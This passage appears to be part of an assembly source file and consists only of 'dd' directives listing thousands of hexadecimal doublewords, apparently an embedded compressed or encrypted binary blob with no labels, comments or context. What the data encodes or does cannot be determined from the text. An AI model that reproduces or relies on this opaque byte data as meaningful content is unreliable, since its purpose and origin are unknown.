2980E656h, 1C3E6B87h, 1090B902h dd 0E8E5860Ah, 0D60E845Dh, 0C1090078h, 0DED090h, 70BAEFBh dd 6BFAC4C6h, 0CD8C1248h, 0E4E05176h, 7978A895h, 0F9630C77h dd 2A28EB56h, 0A1117B1Fh, 93EE0980h, 7567ACBAh, 0C28A0066h dd 0FC3382BEh, 0C0AB8DC1h, 329A9014h, 3CE32270h, 17C528Bh dd 2BF5A914h, 3022B950h, 10446930h, 39BAFB3Eh, 0A680AD3Ch dd 0D454A8FBh, 230B4E82h, 7EB617Ah, 0E565319Bh, 30946004h dd 6C63145Fh, 23A66204h, 7528D1F2h, 9C8414ECh, 0A84C830h dd 89B900C1h, 0E6FA60Ch, 17B0C7C5h, 23A17F8h, 683E28E1h dd 0E2AD5C00h, 11F42D47h, 13B4048Ch, 94C72A70h, 604448F0h dd 0A49BE442h, 0A207B0Ch, 98A067D4h, 770359E0h, 3BFC79Bh dd 217AE2h, 6CF9FBAAh, 4EFC3B22h, 89C4AC04h, 401C1883h dd 532F6FF6h, 0C07829Ah, 890ADE3Ch, 0CF402264h, 392996AFh dd 0C901F4Ch, 81EB7711h, 0D87024E5h, 0D721F20h, 0C219CC78h dd 2800BC64h, 17E80695h, 79086A4h, 0FC6332Fh, 8B8D00B1h dd 6850AC82h, 57302AC8h, 648841F8h, 3B4D0086h, 8AD71813h dd 3E005E7Bh, 446B58A8h, 0A49EE4EDh, 93671FC0h, 9F75DC7Ah dd 14B429E3h, 0A042F531h, 0CC44A63Ah, 0C812E529h, 0AABE00BEh dd 9DCDFD8Fh, 66EF3A3Ah, 916DBA82h, 0E0DDE070h, 0EDAD11D0h dd 6AFA3186h, 0C1005126h, 436E778Fh, 2CEB5951h, 4A68AB10h dd 4D3C8108h, 0CD0FA05Ch, 3661EC0Ah, 41178130h, 504270h dd 0F524881Ah, 2ACCD111h, 0F80EAA1Ch, 90CF7B5Ch, 20081379h dd 80B79EF9h, 863F7E48h, 5C008807h, 8057EF22h, 0FCA3A010h dd 6CC75875h, 0DC38F714h, 203F7212h, 244C028Ch, 25161400h dd 9D91A4C2h, 0DABE434h, 308CD46Bh, 782EFAE0h, 8139D248h dd 102BD109h, 39FAEBF5h, 77A4F1B4h, 57C94318h, 8D00A9EEh dd 7E4FB058h, 0A20F8Ah, 5E7D6B5Fh, 0AB9E0936h, 70D0CF30h dd 882031ECh, 9205AFC1h, 5645080Dh, 9634DC08h, 2C340075h dd 0B66DFB6Eh, 3E300092h, 0F37B21FDh, 0D34C0053h, 4D9686A2h dd 630F35A1h, 20CC554h, 0ECED83C1h, 0E5B31854h, 622149ACh dd 4001EE01h, 3D413C1Eh, 0DAC52C40h, 0BE8100E7h, 76245AA1h dd 0C3EA3E06h, 0FA00AFFAh, 21B33D31h, 0DCDF079Bh, 472C26D0h dd 12A55017h, 4A00C2D3h, 0B1716DE0h, 19937248h, 317899ABh dd 3B0910E8h, 0B64500BFh, 825BED14h, 6905E450h, 7C31D274h dd 0F052B08Ch, 20E1457Dh, 8E883460h, 9167098Bh, 5CA5545Fh dd 2A1C4063h, 2C62FDBFh, 0D4CEB8AAh, 0B0227822h, 11CE423Ch dd 3E031882h, 0CAEC49A1h, 1586840Eh, 0BF0B62B0h, 451C422Ah dd 245483C4h, 61C822E0h, 0A904873Ch, 0AF11C275h, 749024C8h dd 0FE4901h, 16B7977h, 758938E3h, 0A6E1F7EBh, 0FE60A0C8h dd 18B6BD1h, 8776474Dh, 0D08A329Dh, 0E7704B9h, 35F0B20Bh dd 3FA88482h, 0F45888h, 0B6A3ACB0h, 0F61D3679h, 102650B0h dd 0A4E3CAEh, 0ED8794EFh, 0CAC38144h, 0B863B35Ch, 2CFF504Fh dd 1F47DF4h, 74418D40h, 25F43079h, 0DB9C57EBh, 0F19AB090h dd 589C6E00h, 59AB0FEDh, 0D0C954CAh, 8CB903h, 0DFA38711h dd 0C00FF30h, 0CD48C477h, 0C39878h, 0F06712B9h, 495674C6h dd 76B10667h, 1364CCAAh, 4B538740h, 320034EFh, 61FB6746h dd 3D6C2675h, 0DAACFACCh, 10F805CCh, 127870ADh, 0BBE25C47h dd 2036D11Ch, 0F9787784h, 53AA7CC1h, 0AC50C114h, 87C41034h dd 37F0B00Bh, 0E049EE7Bh, 0EB60F53h, 8B9DF703h, 0B6572071h dd 838C1F41h, 1A877C31h, 9E26C074h, 0EEA17762h, 9C135059h dd 0F7AB8A00h, 3E2A3293h, 3CCCDEF2h, 0D65661C0h, 15013A2h dd 0B200B83Ch, 0F6F7C026h, 1F3283C5h, 0C6B9E1Fh, 0BB38D5E4h dd 3FE67513h, 0FA63420h, 0FA360EBDh, 85A07632h, 0F6579AAFh dd 0CB6DA00h, 83696FACh, 44E2EA1h, 28AF0764h, 9033BA4h dd 49018581h, 0CE174DFh, 0B8F85DC2h, 0EB01008Ah, 770A49B6h dd 0EA00A8C8h, 0C14D70FBh, 0A02A6B8Bh, 3E1F45D3h, 1848FD8Eh dd 32AFBB80h, 56522898h, 0E4B600D0h, 0DB4BED6Bh, 0A0DA0081h dd 1BBF1910h, 0CC025725h, 56CB0B8Ah, 0FC1C20F7h, 0BA04947Fh dd 260D03ECh, 0E4804285h, 0FC7CFF4h, 9F84ED7Ah, 401F8184h dd 0B220ADB1h, 57DD0FE6h, 9609CF58h, 39991400h, 3C00AC22h dd 7B867F69h, 3A1174EDh dd 0C4509CABh, 1B6A28FBh, 0F6757A60h, 0A56000D6h, 1CD9583Fh dd 39015565h, 0FEEE278Ah, 0DBF0446Fh, 510D3304h, 0E2A94718h dd 0FA50166h, 0E0007AF1h, 84776548h, 0BEF2540Eh, 628FADh dd 2EA8224Ch, 461F0C26h, 9E092FB0h, 28EC21C0h, 625719A8h dd 8C095051h, 7921AC06h, 0B75300B1h, 6B677FBBh, 65114EADh dd 0AC000341h, 0D6F1EB74h, 120CD1D3h, 819DBB7h, 1B21C069h dd 6433F1F3h, 0C61E13Ch, 0C0680E0Fh, 3D1D104Dh, 0B8B8627Fh dd 0A83C18A1h, 2F26D808h, 40956439h, 9A82AE2h, 0FDD5073Eh dd 0F0F4937h, 5F73B902h, 1BB75480h, 10C73B1Eh, 8B0A5EDh dd 0E05AECh, 0BD4124D7h, 355B5912h, 550D438h, 397C9370h dd 1C4316C0h, 0DFBD003Ch, 0F1B5983h, 21009754h, 0E1674519h dd 125558h, 69042748h, 0FD333423h, 0BCBA7B00h, 9C920BCEh dd 0D7E45Bh, 0E3DD3696h, 4502DE2Bh, 35D10C00h, 0BFD8D22Fh dd 54EB0385h, 448E6F42h, 32AA8FE8h, 0F7ECB307h, 111C5548h dd 6104AF57h, 80073ACAh, 0E7C55210h, 27B486h, 3103375Fh dd 0E3FA205Bh, 0A3CAB200h, 52C4EFACh, 29DC6238h, 83223003h dd 0AA6F22F9h, 24F06222h, 0FF482137h, 2887BB12h, 1B914818h dd 9A0FE700h, 75DF2CD3h, 20BC0E0Eh, 815E00D0h, 7F6E921h dd 43B13B6Ah, 398AE3ACh, 0B9548FE8h, 0F93B2BB0h, 39F9C88h dd 3FEE1785h, 24CBC300h, 352A3Ch, 0B3D32B55h, 0F621183h dd 0A66CCD07h, 86518ABBh, 0DA60677Dh, 0F53200F3h, 0D3192704h dd 90023744h, 67CFCBD6h, 0B5F6C064h, 53B20093h, 609FB007h dd 0C20011C4h, 0C1ECA35Fh, 0E2DF57DEh, 0A46107FFh, 10E42EA5h dd 0BC9402E6h, 9FE24400h, 0CA014293h, 37C8A0B4h, 0D03400D7h dd 0C628E78Eh, 0D507781Fh, 0C938DF26h, 0A5A84CB0h, 37662h dd 1B2461F8h, 138B3771h, 9A66C401h, 68E995F7h, 74FA78F8h dd 72510183h, 0FE200B5Ch, 0A4B3C077h, 0D4C038h, 0BE3C23E2h dd 22AA5C5h, 5968831Fh, 104802D7h, 6B39F743h, 0D6AEA86Fh dd 4BD9B900h, 25E7A78Eh, 0C56600D0h, 3585A650h, 0A500AFFEh dd 0A306E2C1h, 2205D3h, 0D9A90B3Ch, 0CB28CC80h, 4F3AD5F2h dd 955A8060h, 0BE64506Eh, 23EFE25h, 1928EDF9h, 0FCA0F7D4h dd 0DA32B2DEh, 0CA51E800h, 0D72F88Bh, 0AF901D63h, 107F4015h dd 0AA6AADF9h, 5D1D2500h, 0EFD2ACE7h, 5A520093h, 0EEA966CBh dd 5100881Eh, 8D1CBE41h, 3DFD3911h, 6700F283h, 0D101D325h dd 0C077A1Bh, 0DF728537h, 0BC42C550h, 5C35004Fh, 52822275h dd 9B00D001h, 27D48F45h, 76A91E42h, 0E45D0915h, 0F0495D9h dd 0F008C72Eh, 18636BFBh, 0CAF99903h, 8306FC38h, 321CC133h dd 0B04005E1h, 147FF880h, 94093C84h, 44D11401h, 0CC7402F1h dd 9C061D95h, 0E98DAB1Fh, 9BDE00F1h, 3BAD34CFh, 70007BA8h dd 0D8930C8Bh, 0ECFB0Eh, 5AC9D443h, 0C8A48641h, 5BBDB000h dd 0B3BCA6EFh, 0AEF600FAh, 0CBEC7F61h, 0A5759FC7h, 4F06F900h dd 0E9500E08h, 0BFDF1E76h, 20B80C49h, 6E986690h, 9AA43D07h dd 8F10FEEAh, 0FC5028h, 5B6E4111h, 7A86F573h, 9B023890h dd 64D210D4h, 0FE0CE1DDh, 28478C61h, 0A3301C40h, 0D97C0328h dd 82DF3F4Fh, 688AF98h, 154DCE01h, 0BE8DB4A1h, 0FD052087h dd 784EB1B3h, 64CCE826h, 7D3A41EEh, 2A1B9EA3h, 916E9703h dd 6615B822h, 5C3800FDh, 0AB8DA346h, 0F200EF42h, 20D88498h dd 702192h, 0A03705C8h, 64B0E63Eh, 1FF1F0A0h, 4103AD73h dd 5A83D0B7h, 51E00025h, 0B373627Eh, 0D4002037h, 221AA7BFh dd 2F6E5Dh, 0FD0EF586h, 4DFF13Dh, 68BD8407h, 7B90BE7Fh dd 0B5DC4Ch, 0A1702C56h, 0A72FBA26h, 0C459D803h, 90A5B306h dd 9523301h, 870FCE5h, 0E0980800h, 6F004C97h, 6C41A131h dd 0F95CD9h, 1C697CFAh, 533887B5h, 5E19200h, 93C64867h dd 176C00B7h, 76739032h, 8B01F483h, 0B443F640h, 4900F7DAh dd 281CC7Eh, 38F411D4h, 450015AEh, 0F30726BAh, 494CB24Ch dd 7B9209ECh, 9C308005h, 3B6C4D39h, 4400543Fh, 64BFB6C8h dd 3109B1F4h, 0A03BFB5Dh, 8C5CE058h, 348EC50h, 0FDA3EDD5h dd 59A0EFEBh, 1F004BB4h, 0D6723212h, 1ABC9Fh, 40F2D2CEh dd 71C2BB56h, 9183CB03h, 0E0F83A4Fh, 0B832B7D1h, 1C670183h dd 78FDC807h, 2A61CA14h, 0AA56E083h, 2F55500h, 79DC2951h dd 0E85900CEh, 62BC70Bh, 710060FBh, 7C18E41Fh, 0C27893h dd 0F30CED57h, 3A69EFC6h, 8001943Fh, 7E06DAD6h, 20BA7Dh dd 0C1319F9Dh, 21F6125Fh, 95741503h, 0F18789DFh, 4CF02CB8h dd 0D3AB39E4h, 0F28003BFh, 1D7F9577h, 593ADAEEh, 0E18A806Eh dd 1A2B16A1h, 29C203A3h, 7F05B967h, 44AC8800h, 386E663Eh dd 0DAFD004Ah, 758BF761h, 0D2F4D3CAh, 0BFF88202h, 6001E1F1h dd 20E312Ah, 0DF4028CBh, 0E780DBB5h, 5E0C7042h, 0C959B80Eh dd 3D378039h, 3F003AAh, 7E6628D4h, 8AD82A4Bh, 201AF1Bh dd 0F22EC1E4h, 24601F8Fh, 0BBF1004Eh, 0EEF35324h, 0BF00112Dh dd 99CF56F7h, 62AEFAh, 3510381Bh, 2E158FC3h, 0E001DF2h dd 0D2FAF7B4h, 0ED3F57Ah, 0BCD9E6DBh, 0EB16C09Ch, 852495DFh dd 1C9DC500h, 5A756E39h, 0E7F00E9h, 0CAA6D417h, 220060E5h dd 291F3DBFh, 320F3C8h, 0C71832AFh, 0F19BA5FDh, 5D8CFEB8h dd 86B65112h, 0A0DA400Fh, 8AC54648h, 0C9E241h, 0DDDFBF98h dd 0C7D9FC9Bh, 0B2FDEA0Eh, 0EC5E157h, 2A808109h, 23F6F1CAh dd 82E024A4h, 0D048E7Fh, 2A1D575Bh, 0B3E6CF80h, 30D207B7h dd 0F0BA7FD1h, 0BF632964h, 48431E01h, 62DAFB97h, 1F38C0D0h dd 8020C644h, 6FBD3DEAh, 9E0382A6h, 0EE0502Dh, 0B283F899h dd 28747Bh, 3059118Ah, 0EE694882h, 0F1AEB901h, 0D1F534Ch dd 3CCB60h, 97F50F43h, 46E8A958h, 906E600h, 5E04CE7Eh dd 0C2F2057Ch, 83EA1756h, 37D82227h, 9300A0C4h, 0A2A61398h dd 8DF4BEh, 73343259h, 950CB111h, 0FF26DD00h, 0E8E688A3h dd 209100AAh, 65686A77h, 0D00D7CCh, 8D37CA94h, 7FF67Dh dd 71FBDA99h, 0AA513396h, 4D9C0407h, 0C7401AA1h, 0C08DBB7h dd 2558F299h, 1000CBAEh, 7541194Ah, 1A62A2Bh, 62611B0Bh dd 0D0BC9507h, 0F9B0FDA9h, 0CB5D0617h, 0C9FAD600h, 483B9FA0h dd 713C2411h, 78FC14BEh, 0D18A00ACh, 8761EA9h, 0DB003AE0h dd 0AF0A031Fh, 35DE9D5h, 35847311h, 9CB89B05h, 2C0FA385h dd 0E1B84F50h, 3120FE29h, 4818E0h, 94895C47h, 5A14FF23h dd 0A403371Fh, 420EF94h, 0F1988D27h, 1840CC87h, 0B7B1D0h dd 9EA72E1Eh, 28503B23h, 65D96700h, 21821D55h, 87C4039Ch dd 0CD8151D0h, 80107BA1h, 0BC54AAC8h, 6F7EFBh, 4707F919h dd 0E039C7F8h, 0F744961Fh, 158E9C80h, 908A41Dh, 0FD826E1Ch dd 2B4E4420h, 9100B19Eh, 44F5F695h, 0C4B00AE4h, 0F027F978h dd 0D70FEF27h, 67EC9CD4h, 3AC07CADh, 0C06A5835h, 938AB82h dd 0C00A294h, 0CE879DCDh, 2CED23h, 0FAC877A8h, 80435893h dd 0C08BEDE1h, 2500C284h, 0AAF4F98Ah, 90E7F5h, 32D30CEAh dd 2FCF356Ch, 635AB300h, 0B7E358C7h, 0D0C51DF7h, 0C1195ECBh dd 867A951Eh, 0A8C0C031h, 58AA200h, 38DE4049h, 2BA1003Bh dd 47F29067h, 20F3C119h, 0B000C214h, 13CF30CAh, 96A69B8h dd 0ABFA81B3h, 5367C200h, 8D008464h, 5E338287h, 7497443Fh dd 5726073Ch, 33A7ECC6h, 0F6030F88h, 0DFF673D0h, 0DC6007A5h dd 105AABFBh, 0B92B5D11h dd 0EBF8B407h, 9AC15E93h, 0C9C88857h, 3B89022h, 54638434h dd 1013292Ah, 7100E1B0h, 7B5917AFh, 99EF3A83h, 4F5C4981h dd 30FA1CAAh, 1501082Ch, 41C91948h, 1CD8B43h, 0E7F4CED1h dd 560900F9h, 40689A95h, 2A004E51h, 1FC28B7Eh, 4853E05Bh dd 0C03864E6h, 7B796A80h, 4941F20Eh, 5BECEA00h, 57219B0Bh dd 8628C029h, 0A3A7381Eh, 28B2FB00h, 21224B14h, 0EF042499h dd 7A0200F4h, 0D2F70DDCh, 5E8DE8FBh, 3546D909h, 38440063h dd 0F606Ah, 0B74A0A3Bh, 0A61601C2h, 2BFC7300h, 0FFEF3AB3h dd 0EEAB0BE6h, 2000F3FEh, 0BEEC171Bh, 0F3D7800h, 27EB552Dh dd 70E40148h, 0B8E4554h, 0AEE024F7h, 7AA8E000h, 7595FAC9h dd 0E7D3031Ah, 225CAC54h, 8744C80h, 9980DA00h, 28191B7h dd 0B0E60Eh, 0D19FE3CFh, 18103E25h, 0D718A02h, 40B17E59h dd 0A3757Ch, 0B3C888D8h, 0AB57D54Bh, 3483FE00h, 432B6EBAh dd 0E4C214A9h, 3B048422h, 0C0C952CCh, 1D794874h, 30D30409h dd 0F550010Fh, 8EF8F7A2h, 0EE20Ch, 4F1F5933h, 68772B72h dd 0C78C7300h, 9DD24CCEh, 262C0BCFh, 60001A9Ah, 0A7A0DA69h dd 4A2EFF00h, 3FC30555h, 0F587005Bh, 44AA77C5h, 130031F3h dd 0A430EA42h, 0AE7306h, 55A72468h, 6D849DE6h, 3C425F00h dd 96D7BAB2h, 0BCC900F5h, 0B94EC541h, 22001CBBh, 772D528Bh dd 7BBE8Eh, 0FF9F51D8h, 0FB45F018h, 0A09E0624h, 0D57C863Bh dd 0E8F868D2h, 52C0C076h, 0A4A0EF42h, 43DAA80Eh, 37326053h dd 0A2F67ACh, 38EE131Ah, 17AE8090h, 3C1FE954h, 827B6104h dd 0A4C7D6DEh, 65454DC1h, 3EEC60h, 73316344h, 0D58AD469h dd 0B94B8703h, 0FB7C90Ch, 92F002B8h, 130B0096h, 54C76A72h dd 95CF5901h, 0FC655231h, 3962AC20h, 7DA6F65Bh, 290E0920h dd 0D46CEC80h, 6D0045CDh, 0F82BB32Ah, 0FBDDBBE6h, 0C1499C40h dd 7B36005Ah, 95293B47h, 82777F51h, 6026ED7Fh, 20800012h dd 0A1F67089h, 14423B5Dh, 0B2EB6302h, 0B04179B9h, 52503428h dd 0C26B24h, 5BC36002h, 0ECD8C089h, 0F3640736h, 80AF494Eh dd 0C3197766h, 51D6BC00h, 0C51F438Eh, 0BABF00F6h, 626DE8AEh dd 3E51A521h, 0B477F0A4h, 0F0DC5300h, 7FFB5FDh, 9FEC1CF4h dd 3E561CAEh, 1FAEB0Fh, 23612BA0h, 9D001F84h, 49A09207h dd 98DDA2Dh, 7920344Dh, 89B600FDh, 0EF1EF75Bh, 3B7EAE8h dd 0D7BC0728h, 0BE907B17h, 0FA00A826h, 0C7427163h, 0F02E052Bh dd 0D8553AE2h, 0F3B7BF80h, 0A088AD84h, 0E1486800h, 0B6385A4Eh dd 0BBCE003Ch, 0DF80CADCh, 1F0269EFh, 42BA4D26h, 4BD6803Eh dd 735B57h, 0B45DE55Ch, 0E0E4A75Ah, 6100CBF0h, 56F0ABD6h dd 4D8AA6h, 0B5C832C3h, 107DC0E6h, 73DFE012h, 3790AF00h dd 74DA5DE3h, 5150ECDh, 108E2713h, 1D7BD620h, 0FE00742Eh dd 0E93445BCh, 0B2C0471h, 5F9AECC2h, 8C25B580h, 4A046285h dd 5750B03Eh, 8B00F1B8h, 1AF0CC67h, 4200A305h, 116B35C4h dd 0F0ED0A56h, 5EB300F5h, 0E77C6432h, 0E5072D44h, 6D3860B0h dd 0C2B24301h, 0F2F9F8h, 0C03403A9h, 3966D861h, 0B0745000h dd 6A97EF62h, 7DA752Ch, 0B279D502h, 0AB4B401Eh, 3D1F422Fh dd 86C1DE46h, 13CB6B91h, 1D8C6DCh, 0CFDF56F6h, 0C006927Fh dd 0E517FB85h, 470A98C2h, 0B307A958h, 6330D27Eh, 0E0943709h dd 4C8200C4h, 815C1011h, 78035764h, 886BE4C0h, 0FC5888FBh dd 80125037h, 0C5650DC6h, 0D81134C8h, 62032A6Ch, 0F37153E3h dd 0C959052h, 0FD0A0054h, 81443CBBh, 1003EB5Fh, 9C1C2377h dd 0A8C4C3F4h, 1E5932Eh, 8C39602h, 609AB130h, 0EA1E3D2Fh dd 0ACE81C97h, 5F1A4200h, 0CFC7D584h, 77340039h, 9D161182h dd 6F7C04DCh, 0B466F41Ch, 0BFC91C0h, 60CD40h, 2DA6EAD3h dd 0E5EB1FDh, 35589702h, 0C0F1AE74h, 376C4Bh, 2526E64h dd 7BBB7312h, 659B0405h, 0B000078Bh, 0C2389820h, 0EB0F03B7h dd 588447B0h, 0F8E3DBC1h, 90008F9Ch, 0E29ED442h, 402815h dd 0BEFA2662h, 0EBE68134h, 6EF249C0h, 0E1F8D97Eh, 39F11080h dd 29A304F7h, 0DD435C00h, 836B630Bh, 601700A6h, 95C60723h dd 0CA07E0C8h, 5F4E81Ch, 0E9513BD3h, 0DFD03D16h, 0C4CB00D1h dd 0AF259A32h, 8007308Bh, 0FD449768h, 8864FA23h, 142149h dd 0BDF94384h, 55CE1B79h, 178E5200h, 0C3BA659Eh, 8BA03B5Ah dd 50042800h, 0C694CC76h, 0BEC601Fh, 0B91A8447h, 218D6FC0h dd 0ABEE00A1h, 0B83D4C4Ah, 610972F6h, 87E1EB66h, 6E5F6556h dd 0CE968011h, 21563CAh, 0E2DB5CCDh, 97C09A2Ah, 94CF0D9h dd 551C7C68h, 0B8CDD1AFh, 34C16052h, 0ABC7F840h, 2200773h dd 0ECB7D10h, 6CB9A800h, 33001BE4h, 0A7464CD6h, 34D2C2h dd 69C1BD16h, 0D3AE2DF8h, 0D8079FEAh, 93FCDC0Ah, 288A4A91h dd 6E863FCh, 5B4D1D2h, 99038665h, 0F18CE103h, 88D9D8B5h dd 0B8900181h, 6BEE3257h, 0AE7ED8BAh, 0BFA4F7A0h, 0F835C700h dd 0ECDD9BB7h, 5711CFC6h, 0EB3E2800h, 3C724A74h, 0B1B5E21Dh dd 688C8E80h, 33367C3h, 20F97CF8h, 390C90BDh, 60B49BAFh dd 0F02E09BBh, 7820BA77h, 0D61F143Ch, 0F63D0518h, 0AF82460h dd 7E7B4762h, 0EE350090h, 16B8BB02h, 97E3AF0Eh, 0B5E0812Eh dd 20934FBEh, 2ACE006Bh, 5DC07969h, 9DD1490Bh, 0E9210095h dd 30A4D6h, 457546CFh, 0C74A9778h, 0C321DD00h, 0DA6A3363h dd 4BF100DFh, 86FFBCDBh, 0AD606B03h, 53F960A1h, 2DCD3DB0h dd 0B8F38000h, 0FEFB690Bh, 5FBC9900h, 75C3DB68h, 56C40ACDh dd 84EC023Dh, 8312F1D5h, 0B6B82F6Fh, 0D1C06ABDh, 148738D0h dd 30437DE7h, 30197B5Eh, 360039EEh, 0F08150E4h, 7749CDh dd 8E27B88h, 0B93DF783h, 0E0AA8F07h, 0FC6F8645h, 58CCDDCAh dd 0C8E8849Bh, 0F1C7E6FBh, 7AFDF4h, 4ED8496Fh, 73911697h dd 7C3B39h, 30A793CDh, 0C0C8C27Ah, 283E441h, 0C50087E1h dd 74CA3885h, 15DEDBFFh, 0B854532Bh, 0D67E007Fh, 6E4648F9h dd 90012BCh, 0B4236497h, 1815E070h, 0E0075EAFh, 0F900DE35h dd 0D82927E3h, 1DFF027Dh, 9558274h, 2000E6A6h, 1387EA71h dd 89BE6030h, 77BDB0h, 0DCE71C46h, 9EA3477Fh, 4E2A8630h dd 3A03A5Bh, 0C0FE7770h, 99056DF1h, 7ABAB642h, 75F6A841h dd 0C8506F5Fh, 24F51Eh, 4B978BBFh, 63774A6Dh, 79EC3B77h dd 5D1D1207h, 0A7A0947Fh, 50E8B1h, 0E4D0AA8Ch, 3657C89Ah dd 89ABD407h, 7A104594h, 472072h, 0C22D8ACh, 719E8D18h dd 39C0EB7Fh, 3480A3B5h, 89A20041h, 205E10BCh, 0D0CB413h dd 28BDBFE9h, 3434A0EBh, 7E7810h, 39203B95h, 1C639F58h dd 0FC221900h, 0EDADE18Ah, 8DFF17CDh, 73C200AAh, 328E50B8h dd 6DE22B03h, 9565CB42h, 3FD61Eh, 14B36F9Eh, 2FF80Ah, 0E7028F7Dh dd 43F20C10h, 0BD01C406h, 778163CCh, 7B7200B9h, 70A9D9E3h dd 0E228D757h, 1A0068ECh, 563C844Fh, 0FB6BC376h, 4CC60C8h dd 0D39D0D89h, 9E410267h, 3D1D0FAEh, 0B1B303F4h, 4A657A6Eh dd 19DB1900h, 0E90FF12Dh, 28A70085h, 0B9B1788Dh, 0F805BC81h dd 0A4E6C0A6h, 3025C6h, 0E24FA08Ch, 0E74EDBDh, 694CF100h dd 651FEB92h, 8370041h, 0AD516A48h, 740067D1h, 91C5D349h dd 3A7AEC7Fh, 0C31D6E47h, 0EE66879Ch, 0C5802E07h, 0BFEDB983h dd 0EF53B20Ch, 0C0F248C6h, 68596908h, 13008B3Eh, 937DB50Dh dd 7EE2CEBh, 6C52C21Ah, 0F8289C87h, 9CF5890Fh, 0C0035613h dd 0B0F202D8h dd 98FBE6h, 0EE7CA09Fh, 53231AE5h, 0CD61DCF8h, 64C51238h dd 719F1C71h, 0A17A00D8h, 5E5BFC71h, 5C046F1Dh, 0AF21E218h dd 0F43A90D3h, 0BA510B17h, 0D7E1BECEh, 2D908790h, 54238A47h dd 0C69901C8h, 0D366F16Ah, 0CBEDF8ACh, 0F3C360Ch, 105130C4h dd 7CB4A249h, 1DCADC18h, 756FE5A0h, 8D7930E2h, 62AADD49h dd 90E050C0h, 0D4B898h, 20130D6Ah, 499C41E9h, 0BB124A01h dd 0C5148130h, 1BAE01h, 925071h, 2685F26Eh, 9EF66DB5h dd 3FAD752Ch, 39ED2D00h, 58125C64h, 0E7009CBAh, 16C97088h dd 0D0788696h, 8BB75600h, 65B6125h, 0EB8E04CFh, 0C713B0FEh dd 7F45D03Bh, 1700DC08h, 7E193BACh, 0EBAFED03h, 0F2B035FCh dd 3D21C7A2h, 9E9BB123h, 0E97B600Eh, 961C7601h, 13B127EBh dd 18DBE0C0h, 873E117h, 0CE4B08Ch, 1B8BB303h, 7C29DF96h dd 8051D928h, 82E188Ah, 0C5037B19h, 4E4731C4h, 5988B036h dd 0F20094FBh, 0FF2505C2h, 30498395h, 96E05740h, 8B806413h dd 80A61FE3h, 26A70151h, 83B1041Ch, 3FC4E5F9h, 0B710001Fh dd 0F663F048h, 4601318Ch, 0F3C58344h, 0BDC688Fh, 2C695865h dd 1DDB0D00h, 3DB12A09h, 6C63720Fh, 0C00FCEADh, 538B6539h dd 6B28C03Ch, 4119E280h, 17F33207h, 73F072EBh, 60473971h dd 37363016h, 524C356Ch, 0D1BE0487h, 5983B917h, 996380F7h dd 7D702Eh, 0A5F374D0h, 602A9C77h, 6DD97800h, 4E45A2BCh dd 8F7388h, 98B676B9h, 0E07F43EAh, 0C8F0A639h, 0FB007297h dd 0B0379B2Ah, 0A54410h, 85582856h, 0F7CF125Bh, 54002CFAh dd 0E11447ADh, 0BBE30Fh, 0CE273240h, 0D352802h, 0C26F7203h dd 83228230h, 0B354B88Dh, 297D0C0Fh, 65D123DEh, 6D946054h dd 4107E300h, 7531A1E5h, 801206A9h, 512DEBFEh, 0AEA4739h dd 0A0D15E99h, 0FA152480h, 12CA6Dh, 85173248h, 469F6C61h dd 0D4514200h, 958AFFC1h, 0CC371B24h, 0D010B840h, 7C005708h dd 10164E02h, 7006C7Dh, 3747C25Eh, 90792015h, 994D003Eh dd 5FBF8741h, 0C0D6FD4h, 11E28F9Ch, 4583040Bh, 10006C0Ah dd 7E0E15D7h, 2C02C9h, 0C2E74A63h, 0D3395CDDh, 0EA7D4500h dd 92D7A80Bh, 287062D4h, 0BE016D60h, 4EF07D37h, 8494000Ah dd 0A7C3D91Eh, 0FF397FABh, 3E6E802Bh, 97E88059h, 9DA81FB7h dd 42AD8444h, 33828089h, 123B8EA3h, 0B92000E5h, 0AA920E97h dd 0A7123h, 0CED4E0CAh, 0F71CC9D5h, 0DA187400h, 2975A504h dd 0A6D900E2h, 1B437FEDh, 74737A7Eh, 0F92D6F00h, 0AF8873AAh dd 20ECE1C1h, 0C9290081h, 2F8BF863h, 94CB3DEh, 0FB140072h dd 55EC1D9Ch, 867D0043h, 0C9BD2DDFh, 3A0092ABh, 1A245EFDh dd 0B7498A0h, 5CF12FC8h, 70BF8B00h, 0F93B6EDEh, 19938085h dd 807A617h, 38AF8C4h, 24E6761Ah, 46C0ADEEh, 0A40073C3h dd 2344694Bh, 7F8ABA7Ah, 2ED5070Eh, 6084C85Fh, 0A1D69921h dd 9EF43900h, 0CC8ED0CDh, 0D10B004Dh, 4F97B0C4h, 0C60F9C4Ch dd 0BFA033EDh, 5B33800h, 0E21EE83Ch, 0F01F00EEh, 994F8C24h dd 0A6581489h, 0B131009Bh, 709C25BCh, 0A85A3ECDh, 845E4280h dd 0A9F71F77h, 0FD34B600h, 3B0EAF71h, 0C0EC0030h, 5F96602Dh dd 0B200C69Fh, 72BB1413h, 0E6605B6h, 5374BDB5h, 82C1E240h dd 0D8009EF7h, 1C3CD130h, 3476AABh, 259F26Bh, 0E1F82C27h dd 4200DA4Ah, 0D3E4EE2Bh, 805884h, 0DDACC579h, 0D116742Dh dd 59A08900h, 41A99E5Bh, 2F58004Fh, 0B74D3310h, 9B07C9B9h dd 26B4240Dh, 0E8625D90h, 653418BFh, 1CC1E97h, 2896BC00h dd 0B6FC85B7h, 941A00C2h, 8AF412EFh, 9D034F88h, 96E6B5FAh dd 34B9C89Eh, 0CD7F6Dh, 448F1F41h, 105E91AFh, 1542D900h dd 8E3646EEh, 0F58703ACh, 8D66B5CCh, 404D8FF8h, 89E34403h dd 0B03130B2h, 321BA3h, 63229B59h, 9369AFD6h, 0AA8EBA00h dd 6E3D80FFh, 538A0FDDh, 0AF208629h, 1AFC2E01h, 374B148h dd 68EA3237h, 1405B0E4h, 184F00D6h, 0FED14ECFh, 43008909h dd 0EB036670h, 9B7DF75h, 3C9452A4h, 24428380h, 0D40002BCh dd 0EBA2D920h, 98E36Fh, 29616995h, 0BF0ED5Bh, 2C941800h dd 1E66D5E0h, 24E8008Ch, 0B0CBEA04h, 9100E6E4h, 0BCC22194h dd 39783F64h, 2680D362h, 1F69A4F8h, 437E8D7Fh, 0E400BA7Fh dd 0DC3D5641h, 0ACF177h, 791B59C2h, 916C288Eh, 0D270C805h dd 2681D5DAh, 0DFF0D9E0h, 215B00AAh, 0C4591290h, 50001880h dd 62FDC1C8h, 3C7A13Ch, 0D731B79Ch, 0AB98E31Bh, 3B002005h dd 9E3FCEE5h, 0BFA1C1h, 0EE393114h, 127535BDh, 5CE098F0h dd 0C09F8430h, 0FEED1C96h, 0E53000E0h, 0D7D238D4h, 0C548E4C3h dd 683B7A24h, 0AFB0806Eh, 0BC94A073h, 1EE1065Ch, 